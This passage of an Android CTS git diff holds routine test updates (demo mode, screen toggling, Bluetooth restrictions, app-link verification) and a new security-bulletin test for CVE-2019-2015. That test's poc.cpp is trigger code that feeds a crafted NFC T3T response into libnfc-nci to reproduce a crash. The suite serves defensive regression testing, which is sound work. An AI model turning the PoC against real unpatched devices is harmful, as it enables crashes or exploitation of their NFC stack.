 import com.android.bedstead.harrier.annotations.EnsurePasswordNotSet;
 import com.android.bedstead.harrier.annotations.EnsureScreenIsOn;
@@ -974,4 +977,25 @@ public class DeviceStateTest {
         assertThat(sDeviceState.testApp()
                 .testApp().pkg().appOps().get(OPSTR_START_FOREGROUND)).isEqualTo(ALLOWED);
     }
+
+    @EnsureGlobalSettingSet(key = "testGlobalSetting", value = "testValue")
+    @Test
+    public void ensureGlobalSettingSetAnnotation_globalSettingIsSet() {
+        assertThat(TestApis.settings().global().getString("testGlobalSetting"))
+                .isEqualTo("testValue");
+    }
+
+    @EnsureDemoMode
+    @Test
+    public void ensureDemoModeAnnotation_deviceIsInDemoMode() {
+        assertThat(TestApis.settings().global().getInt("device_demo_mode"))
+                .isEqualTo(1);
+    }
+
+    @EnsureNotDemoMode
+    @Test
+    public void ensureNotDemoModeAnnotation_deviceIsNotInDemoMode() {
+        assertThat(TestApis.settings().global().getInt("device_demo_mode"))
+                .isEqualTo(0);
+    }
 }
diff --git a/hostsidetests/appsearch/AndroidTest.xml b/hostsidetests/appsearch/AndroidTest.xml
index a5389162fda..8bd1dc05179 100644
--- a/hostsidetests/appsearch/AndroidTest.xml
+++ b/hostsidetests/appsearch/AndroidTest.xml
@@ -20,16 +20,22 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="jar" value="CtsAppSearchHostTestCases.jar" />
     </test>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="test-file-name" value="CtsAppSearchHostTestHelperA.apk" />
         <option name="test-file-name" value="CtsAppSearchHostTestHelperB.apk" />
         <option name="cleanup-apks" value="true" />
     </target_preparer>
+
     <object type="module_controller"
             class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.appsearch" />
     </object>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.Sdk33ModuleController" />
 </configuration>
diff --git a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
index 9affccb9e35..fc82723efc3 100644
--- a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
+++ b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
@@ -91,6 +91,8 @@ public final class BackgroundDexOptimizationTest extends BaseHostJUnit4Test {
     public void setUp() throws Exception {
         mDevice = getDevice();
         assertThat(mDevice.waitForBootComplete(REBOOT_TIMEOUT_MS)).isTrue();
+        // Turn off the display to simulate the idle state in terms of power consumption.
+        toggleScreenOn(false);
     }
 
     @Test
@@ -227,12 +229,26 @@ public final class BackgroundDexOptimizationTest extends BaseHostJUnit4Test {
 
     @After
     public void tearDown() throws Exception {
+        // Restore the display state. CTS runs display on state by default. So we need to turn it
+        // on again.
+        toggleScreenOn(true);
         // Cancel all active dexopt jobs.
         executeShellCommand(CMD_CANCEL_IDLE);
         executeShellCommand(CMD_CANCEL_POST_BOOT);
         mDevice.uninstallPackage(APPLICATION_PACKAGE);
     }
 
+    /**
+     * Turns on or off the screen.
+     */
+    private void toggleScreenOn(boolean on) throws Exception {
+        if (on) {
+            executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        } else {
+            executeShellCommand("input keyevent KEYCODE_SLEEP");
+        }
+    }
+
     private void postJobSchedulerJob(String cmd) throws Exception {
         // Do retry as job may not be registered yet during boot up.
         pollingCheck("Starting job timeout:" + cmd, DEXOPT_TIMEOUT_MS,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index d6338a6f760..eb5cc56a0da 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -28,6 +28,8 @@ import android.os.UserManager;
 import android.util.DebugUtils;
 import android.util.Log;
 
+import com.android.internal.util.ArrayUtils;
+
 /**
  * Test interaction between {@link UserManager#DISALLOW_BLUETOOTH} user restriction and the state
  * of Bluetooth.
@@ -156,14 +158,15 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest {
 
         // The BluetoothOppLauncherActivity's component should be disabled.
         assertComponentStateAfterTimeout(
-                oppLauncherComponent, PackageManager.COMPONENT_ENABLED_STATE_DISABLED);
+                oppLauncherComponent, new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED});
 
         // Remove the user restriction.
         clearUserRestriction(restriction);
 
-        // The BluetoothOppLauncherActivity's component should be in the default state.
+        // The BluetoothOppLauncherActivity's component should be enabled or default.
         assertComponentStateAfterTimeout(
-                oppLauncherComponent, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT);
+                oppLauncherComponent, new int[] {PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                    PackageManager.COMPONENT_ENABLED_STATE_DEFAULT});
     }
 
     /** Helper to turn BT off.
@@ -223,19 +226,20 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest {
                 + " instead of STATE_OFF");
     }
 
-    private void assertComponentStateAfterTimeout(ComponentName component, int expectedState) {
+    private void assertComponentStateAfterTimeout(ComponentName component, int[] expectedState) {
         final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
         int state = -1;
         while (SystemClock.elapsedRealtime() < timeout) {
             state = mPackageManager.getComponentEnabledSetting(component);
-            if (expectedState == state) {
+            if (ArrayUtils.contains(expectedState, state)) {
                 // Success, waiting for component to be fully turned on/off
                 sleep(CHECK_WAIT_TIME_MS);
                 return;
             }
             sleep(POLL_TIME_MS);
         }
-        fail("The state of " + component + " should have been " + expectedState + ", it but was "
+        fail("The state of " + component + " should have been "
+                + ArrayUtils.deepToString(expectedState) + ", it but was "
                 + state + " after timeout.");
     }
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 06f5cb854d6..18f0d7c53d7 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -15,7 +15,9 @@
  */
 package com.android.cts.managedprofile;
 
+import static android.os.Process.BLUETOOTH_UID;
 
+import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.ComponentName;
 import android.content.Context;
@@ -25,13 +27,17 @@ import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.os.SystemClock;
+import android.os.SystemProperties;
 import android.os.UserManager;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.internal.util.ArrayUtils;
+
 import junit.framework.TestCase;
 
 import java.util.List;
 
-
 /**
  * Test {@link UserManager#DISALLOW_BLUETOOTH_SHARING} in profile owner.
  *
@@ -43,8 +49,12 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
     /** How often to check component state. */
     private static final int POLL_TIME_MS = 400;
     /** Activity that handles Bluetooth sharing. */
-    private static final ComponentName OPP_LAUNCHER_COMPONENT = new ComponentName(
-            "com.android.bluetooth.services", "com.android.bluetooth.opp.BluetoothOppLauncherActivity");
+    private static final String OPP_LAUNCHER_CLASS =
+            "com.android.bluetooth.opp.BluetoothOppLauncherActivity";
+    private static final String INTERACT_ACROSS_USERS_PERMISSION =
+            "android.permission.INTERACT_ACROSS_USERS";
+    private static final UiAutomation sUiAutomation =
+             InstrumentationRegistry.getInstrumentation().getUiAutomation();
 
     /**
      * Tests that Bluetooth sharing activity gets disabled when the restriction is enforced.
@@ -80,7 +90,7 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
 
     /**
      * Builds an intent to share an image file. If Bluetooth sharing is allowed, it should be
-     * handled by {@link #OPP_LAUNCHER_COMPONENT}.
+     * handled by {@link #OPP_LAUNCHER_CLASS}.
      */
     private static Intent fileSharingIntent() {
         final Intent result = new Intent(Intent.ACTION_SEND);
@@ -97,30 +107,44 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
         // Check restriction.
         assertRestrictionEnforced(context, !available);
         // Check component status.
-        final int componentEnabledState = available
-                ? PackageManager.COMPONENT_ENABLED_STATE_DEFAULT
-                : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
-        assertComponentStateAfterTimeout(context, OPP_LAUNCHER_COMPONENT, componentEnabledState);
-        // Check whether sharing activity is offered.
-        assertHandlerAvailable(context, fileSharingIntent(), OPP_LAUNCHER_COMPONENT, available);
+        final int[] componentEnabledState = available
+                ? new int[] {PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
+                        PackageManager.COMPONENT_ENABLED_STATE_ENABLED}
+                : new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED};
+
+        sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION);
+        String bluetoothPackageName = context.getPackageManager()
+                .getPackagesForUid(BLUETOOTH_UID)[0];
+        sUiAutomation.dropShellPermissionIdentity();
+
+        ComponentName oppLauncherComponent = new ComponentName(
+                bluetoothPackageName, OPP_LAUNCHER_CLASS);
+
+        assertComponentStateAfterTimeout(context, oppLauncherComponent, componentEnabledState);
+        // Do not perform the handler check if the profile is disabled on the device.
+        if (SystemProperties.getBoolean("bluetooth.profile.opp.enabled", false)) {
+            // Check whether sharing activity is offered.
+            assertHandlerAvailable(context, fileSharingIntent(), oppLauncherComponent, available);
+        }
     }
 
     /** Waits for package state to change to a desired one or fails. */
     private static void assertComponentStateAfterTimeout(Context context, ComponentName component,
-            int expectedState)
+            int[] expectedState)
             throws Exception {
         final long timeout = SystemClock.elapsedRealtime() + COMPONENT_STATE_TIMEOUT_MS;
         int state = -1;
         while (SystemClock.elapsedRealtime() < timeout) {
             state = context.getPackageManager().getComponentEnabledSetting(component);
-            if (expectedState == state) {
+            if (ArrayUtils.contains(expectedState, state)) {
                 // Success
                 return;
             }
             Thread.sleep(POLL_TIME_MS);
         }
-        TestCase.fail("The state of " + component + " should have been " + expectedState
-                + ", it but was " + state + " after timeout.");
+        TestCase.fail("The state of " + component + " should have been "
+                + ArrayUtils.deepToString(expectedState)
+                + ", but was " + state + " after timeout.");
     }
 
     /** Verifies that {@code component} is offered when handling {@code intent}. */
@@ -136,7 +160,6 @@ public class BluetoothSharingRestrictionTest extends BaseManagedProfileTest {
                                     info.providerInfo;
             final ComponentName resolvedComponent =
                     new ComponentName(componentInfo.packageName, componentInfo.name);
-
             if (resolvedComponent.equals(component)) {
                 if (shouldResolve) {
                     // Found it, assertion passed.
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010befe..e1fde62254f 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -210,4 +210,49 @@ class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase
 
         assertResolvesTo(browsers)
     }
+
+    @Test
+    fun newVerifyTakesOverSelected() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+        assertResolvesTo(browsers, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        // Re-select package 2 and re-verify the disabled package 1, should maintain package 2
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+    }
+
+    @Test
+    fun newVerifyDoesNotTakesOverSelectedWhenLinkHandlingDisabled() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        // Re-select package 2 and re-verify the disabled package 1, should maintain package 2
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_1)
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT, DOMAIN_2)
+    }
 }
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
index 6f34df742ed..3a9ba4b1647 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
@@ -61,16 +61,12 @@ abstract class DomainVerificationIntentTestBase(
     protected val userId = context.userId
     protected val manager = context.getSystemService(DomainVerificationManager::class.java)!!
 
-    protected lateinit var intent: Intent
-
     protected lateinit var browsers: List<ComponentName>
     protected lateinit var allResults: List<ComponentName>
 
     @Before
     fun findBrowsers() {
         SharedVerifications.reset(context, resetEnable)
-        intent = Intent(Intent.ACTION_VIEW, Uri.parse("https://$domain"))
-            .applyIntentVariant(intentVariant)
 
         browsers = Intent(Intent.ACTION_VIEW, Uri.parse("https://$DOMAIN_UNHANDLED"))
             .applyIntentVariant(intentVariant)
@@ -107,9 +103,14 @@ abstract class DomainVerificationIntentTestBase(
         assertThat(ShellUtils.runShellCommand(it)).isEmpty()
     }
 
-    protected fun assertResolvesTo(result: ComponentName) = assertResolvesTo(listOf(result))
+    protected fun assertResolvesTo(result: ComponentName, domain: String = this.domain) =
+            assertResolvesTo(listOf(result), domain)
 
-    protected fun assertResolvesTo(components: Collection<ComponentName>, debug: Boolean = false) {
+    protected fun assertResolvesTo(
+            components: Collection<ComponentName>,
+            domain: String = this.domain,
+            debug: Boolean = false
+    ) {
         val message = if (debug) {
             ShellUtils.runShellCommand(
                 "pm get-app-links --user ${context.userId} $DECLARING_PKG_NAME_1")
@@ -117,6 +118,9 @@ abstract class DomainVerificationIntentTestBase(
             ""
         }
 
+        val intent = Intent(Intent.ACTION_VIEW, Uri.parse("http://$domain"))
+                .applyIntentVariant(intentVariant)
+
         // Pass MATCH_DEFAULT_ONLY to mirror startActivity resolution
         assertWithMessage(message)
             .that(packageManager.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY)
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index fb63a62b732..19bf6066a72 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -33,5 +33,4 @@ android_test_helper_app {
         "general-tests",
     ],
     sdk_version: "test_current",
-    platform_apis: true,
 }
diff --git a/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java b/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
index 0b66e173435..93ab5a3bd30 100644
--- a/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
+++ b/hostsidetests/packagemanager/packagesetting/src/com/android/tests/packagesetting/host/PackageSettingTest.java
@@ -25,6 +25,7 @@ import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -83,6 +84,8 @@ public class PackageSettingTest extends BaseHostJUnit4Test {
     @Test
     @AppModeFull
     public void testFirstInstallTimeWithReboot() throws Exception {
+        Assume.assumeTrue("device does not support multi-user",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
         installPackage(TEST_APK);
         final int currentUser = getDevice().getCurrentUser();
         final String firstInstallTimeForCurrentUser = getFirstInstallTimeForUserFromDumpsys(
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp
new file mode 100644
index 00000000000..eefc03b6df7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2015",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+        "system/nfc/src/nfa/include",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp
new file mode 100644
index 00000000000..4fe2d565546
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2015/poc.cpp
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <nfa_api.h>
+#include <nfa_dm_int.h>
+#include <nfa_rw_int.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+  if (testInProgress && info->si_signo == SIGSEGV) {
+    (*old_action.sa_sigaction)(signum, info, context);
+    return;
+  }
+  exit(EXIT_FAILURE);
+}
+
+char enable_selective_overload = ENABLE_NONE;
+void *libHandle = nullptr;
+
+/* States */
+enum {
+  RW_T3T_STATE_NOT_ACTIVATED,
+  RW_T3T_STATE_IDLE,
+  RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+  RW_T3T_CMD_DETECT_NDEF,
+  RW_T3T_CMD_CHECK_NDEF,
+  RW_T3T_CMD_UPDATE_NDEF,
+  RW_T3T_CMD_CHECK,
+  RW_T3T_CMD_UPDATE,
+  RW_T3T_CMD_SEND_RAW_FRAME,
+  RW_T3T_CMD_GET_SYSTEM_CODES,
+  RW_T3T_CMD_FORMAT,
+  RW_T3T_CMD_SET_READ_ONLY_SOFT,
+  RW_T3T_CMD_SET_READ_ONLY_HARD,
+  RW_T3T_CMD_MAX
+};
+
+tNFA_RW_MSG *p_data = nullptr;
+tNFC_DATA_CEVT *p_data1 = nullptr;
+extern void rw_t3t_data_cback(__attribute__((unused)) uint8_t conn_id,
+                       tNFC_DATA_CEVT* p_data);
+extern bool nfa_rw_activate_ntf(tNFA_RW_MSG* p_data);
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFA_DM_CB nfa_dm_cb = {};
+void rw_init(void);
+void NFA_Init(tHAL_NFC_ENTRY *p_hal_entry_tbl);
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void GKI_freebuf(void *p_buf __attribute__((unused))) {}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void p_conn_cback(uint8_t event, tNFA_CONN_EVT_DATA *p_rw_data) {
+  (void)event;
+  (void)p_rw_data;
+}
+
+void exit_handler(void) {
+  if (p_data) {
+      if (p_data->activate_ntf.p_activate_params) {
+          free(p_data->activate_ntf.p_activate_params);
+          p_data->activate_ntf.p_activate_params = nullptr;
+      }
+      free(p_data);
+      p_data = nullptr;
+  }
+
+  if (p_data1) {
+      if(p_data1->p_data) {
+          free(p_data1->p_data);
+          p_data1->p_data = nullptr;
+      }
+    free(p_data1);
+    p_data1 = nullptr;
+  }
+}
+int main() {
+  atexit(exit_handler);
+  sigemptyset(&new_action.sa_mask);
+  new_action.sa_flags = SA_SIGINFO;
+  new_action.sa_sigaction = sigsegv_handler;
+  sigaction(SIGSEGV, &new_action, &old_action);
+
+  tNFC_ACTIVATE_DEVT p_activate_params = {};
+  p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+  p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+  RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+  FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+  GKI_init();
+  rw_init();
+  tHAL_NFC_ENTRY p_hal_entry_tbl;
+  NFA_Init(&p_hal_entry_tbl);
+  nfa_dm_cb.p_conn_cback = p_conn_cback;
+  p_data = (tNFA_RW_MSG *)calloc(1, sizeof(tNFA_RW_MSG));
+  FAIL_CHECK(p_data);
+
+  p_data->activate_ntf.p_activate_params =
+      (tNFC_ACTIVATE_DEVT *)calloc(1, sizeof(tNFC_ACTIVATE_DEVT));
+  FAIL_CHECK(p_data->activate_ntf.p_activate_params);
+
+  p_data->activate_ntf.p_activate_params->protocol = NFC_PROTOCOL_T2T;
+
+  nfa_rw_activate_ntf(p_data);
+  tRW_CBACK *p_cback = rw_cb.p_cback;
+  FAIL_CHECK(p_cback);
+
+  enable_selective_overload = ENABLE_ALL;
+  nfa_rw_cb.cur_op = NFA_RW_OP_READ_NDEF;
+  nfa_rw_cb.p_ndef_buf = (uint8_t *)calloc(1, sizeof(uint8_t));
+  FAIL_CHECK(nfa_rw_cb.p_ndef_buf);
+
+  tRW_T3T_CB *p_cb = &rw_cb.tcb.t3t;
+  p_cb->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+  p_cb->cur_cmd = RW_T3T_CMD_CHECK;
+  p_data1 = (tNFC_DATA_CEVT *)calloc(1, sizeof(tNFC_DATA_CEVT));
+  FAIL_CHECK(p_data1);
+  p_data1->p_data = (NFC_HDR *)calloc(3, sizeof(NFC_HDR));
+  FAIL_CHECK(p_data1->p_data);
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+
+  NFC_HDR *p_msg = p_data1->p_data;
+  p_msg->offset = 0;
+  p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+  uint8_t *p = (uint8_t *)(p_msg + 1) + p_msg->offset;
+  p[0] = NCI_STATUS_OK;
+
+  uint8_t *p_t3t_rsp = p + 1;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+  p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+  memcpy(p_cb->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], NCI_NFCID2_LEN);
+  uint8_t conn_id = 0;
+
+  testInProgress = true;
+  rw_t3t_data_cback(conn_id, p_data1);
+  testInProgress = false;
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
new file mode 100644
index 00000000000..1a798c2199e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2015 extends SecurityTestCase {
+
+    /**
+     * b/120503926
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_act_handle_check_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120503926)
+    @Test
+    public void testPocCVE_2019_2015() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2019-2015";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t3t_act_handle_check_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
new file mode 100644
index 00000000000..2bc254e0724
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0338.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
